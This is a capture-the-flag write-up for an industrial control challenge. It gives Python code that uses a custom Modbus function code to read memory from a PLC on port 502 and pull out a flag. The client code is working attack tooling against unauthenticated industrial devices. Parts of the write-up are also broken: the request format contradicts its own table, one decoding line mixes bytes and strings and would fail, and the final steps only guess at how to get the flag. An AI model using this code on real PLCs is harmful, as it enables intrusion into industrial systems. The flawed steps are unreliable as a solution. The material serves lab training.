2024 Business CTF - Vault of Hope: Sneak Peak

Challenge Information

AttributeDetails
Event2024 Business CTF - Vault of Hope
CategoryIndustrial Control Systems (ICS)
ChallengeSneak Peak
DifficultyMedium

Summary

Sneak Peak is an ICS/SCADA challenge involving direct communication with a Programmable Logic Controller (PLC) using the Modbus TCP protocol. The challenge requires understanding Modbus protocol mechanics, custom function codes, packet structure, and how to extract data from industrial devices. Participants must implement a client that communicates with a PLC on port 502, reads memory blocks, and extracts the flag from device memory.


Analysis

Modbus Protocol Overview:

Modbus is a standard protocol for industrial automation and SCADA systems. Key characteristics:

  1. Transport: TCP/IP over port 502
  2. Function Codes: Commands for reading/writing registers and coils
  3. Client-Server Model: Client requests, server responds
  4. Frame Structure: MBAP header + PDU (Protocol Data Unit)

Challenge-Specific Details:

The challenge uses a custom function code (0x64) to communicate with the PLC:

CUSTOM_FUNCTION_CODE = 0x64 # Custom function code for this PLC
# Custom request: [0x20, 0x00, 0x10]
# 0x20: Read memory operation
# 0x00: Starting address 0x0000
# 0x10: Length 16 bytes

Data Extraction:

The response contains sensitive information, including:

  • MD5 hash (16 bytes)
  • Additional system information
  • Potential flag data

Solution

Step 1: Set Up Modbus Client

The challenge provides client.py using the pymodbus library:

from pymodbus.client import ModbusTcpClient
from pymodbus.transaction import ModbusSocketFramer
from pymodbus.pdu import ModbusRequest, ModbusResponse
import struct
import logging
# Configure connection
HOST_IP = '192.168.1.80' # Change to target IP
HOST_PORT = 502 # Standard Modbus port
CUSTOM_FUNCTION_CODE = 0x64

Step 2: Define Custom Protocol Classes

class CustomProtocolRequest(ModbusRequest):
function_code = CUSTOM_FUNCTION_CODE
def __init__(self, data=None, **kwargs):
super().__init__(**kwargs)
self.data = data if data is not None else []
def encode(self):
"""Encode request data as bytes"""
data_format = 'B' * len(self.data)
return struct.pack(data_format, *self.data)
def decode(self, data):
"""Decode response (not used in client)"""
print('[!] Request decode is not required for client!')
class CustomProtocolResponse(ModbusResponse):
function_code = CUSTOM_FUNCTION_CODE
def __init__(self, data=None, **kwargs):
super().__init__(**kwargs)
self.data = data if data is not None else []
def encode(self):
"""Not required for client"""
print('[!] Response encode is not required for client!')
def decode(self, data):
"""Decode response PDU (8-bit values)"""
self.data = struct.unpack('>' + 'B' * len(data), data)
print('data:', self.data)

Step 3: Implement Send Function

def send_custom_protocol_request(client, data):
"""Send custom Modbus request and receive response"""
request = CustomProtocolRequest(data=data)
response = client.execute(request)
if response.function_code < 0x80:
print("Successful response:", response.data)
return response.data
else:
print("Error response:", response)
return -1
def send_packet(client, DATA=[]):
"""Connect and send packet"""
if client.connect():
print("Connected to the server")
data = send_custom_protocol_request(client, data=DATA)
print(f"Response data: {data}")
return data
else:
print("Failed to connect to the server")
return -1

Step 4: Execute Memory Read

if __name__ == "__main__":
# Initialize client with custom response decoder
client = ModbusTcpClient(HOST_IP, port=HOST_PORT, framer=ModbusSocketFramer)
client.framer.decoder.register(CustomProtocolResponse)
# Send read request: Read 16 bytes from address 0x0000
DATA = [0x20, 0x00, 0x10]
response_data = send_packet(client, DATA)
if response_data != -1:
# Extract MD5 hash from response
md5_hash = response_data[:16]
# Format as hexadecimal string
formatted_md5_hash = ''.join(format(x, '02x') for x in md5_hash)
print(f"MD5 hash in hexadecimal: {formatted_md5_hash}")
# This hash may be the flag or used to derive the flag

Step 5: Analyze Response Data

The 16-byte response typically contains:

Byte indices 0-15: Data from PLC memory address 0x0000-0x000F

Possible payload interpretations:

  • MD5 hash of the flag
  • Direct flag bytes
  • Encoded/encrypted data requiring decryption
  • System identifier or serial number

Step 6: Extract/Decode Flag

Depending on the response format:

# If response is MD5 hash, may need to crack or it represents something else
# If response is flag text (when decoded):
flag = b''.join(chr(b) for b in response_data)
print(f"Flag: {flag}")
# If response needs additional decoding:
# Try base64, XOR, or other encoding schemes
import base64
decoded = base64.b64decode(bytes(response_data))
print(f"Decoded: {decoded}")

Key Modbus Memory Read Operations

Typical Custom Function (0x64) Format:

PositionValueMeaning
00x20Read memory operation
10xXXStarting memory address (high byte)
20xXXStarting memory address (low byte)
3+0xXXLength / additional parameters

Key Takeaways

  • Modbus TCP is the industrial standard for PLC communication
  • Custom function codes enable non-standard protocol extensions
  • Memory access patterns reveal internal PLC data structures
  • Struct unpacking in Python handles multi-byte data conversion
  • Proper socket framing is essential for Modbus communication
  • ICS systems often lack authentication on critical ports
  • Physical memory access to PLCs can bypass application-level security
  • Custom protocol implementations require careful encoding/decoding
  • Industrial systems may store sensitive data directly in accessible memory
  • Documentation of PLC protocols is often limited; reverse engineering may be necessary